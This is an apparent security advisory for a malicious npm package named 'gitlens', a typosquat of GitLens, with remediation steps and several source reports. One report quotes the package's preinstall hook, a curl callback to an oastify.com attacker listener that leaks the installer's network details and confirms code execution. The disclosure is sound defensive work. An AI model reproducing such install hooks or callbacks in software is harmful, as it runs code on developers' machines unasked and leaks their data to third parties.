gitlens (npm) · Malicious Code
Affects gitlensSource GCVE Database
Malicious package : remove gitlens and rotate any secrets on hosts that installed it.
Data as of 10 Jul 2026, 09:29 UTC
Malicious package
Published to npm · OSV MAL-2026-6973
What to do
Remove gitlens from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmgitlens | Affected
| Fixed in– |
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Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (c60743ac7b975c729e8ff8bd5310f71fce030efc3979f419f60e129921364ae7) package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on `npm install`. oastify.com is Burp Collaborator OAST infrastructure used to confirm code execution and capture the installer's public IP and DNS resolver metadata at an attacker-controlled listener. The package is otherwise a hollow stub (empty description, empty author, main is a one-line no-op printing 'Hello from test package'), and the package name impersonates the well-known GitLens project — matching the typosquat-with-reconnaissance-payload shape. Installing this package causes an unsolicited outbound HTTP/DNS callback that discloses installer network identifiers to a third party and confirms that arbitrary command execution succeeded on the installer's machine, enabling follow-on targeting. ## Source: ghsa-malware (6519d5b09c4c896667823eb772d5feffa5bc36e1ab63e382d8d7272a98422120) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (33742a75a392f62d009fb5213d109ecd6c51a155aa151cb8539539cb28aa2395) The OpenSSF Package Analysis project identified 'gitlens' @ 9.4.0 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.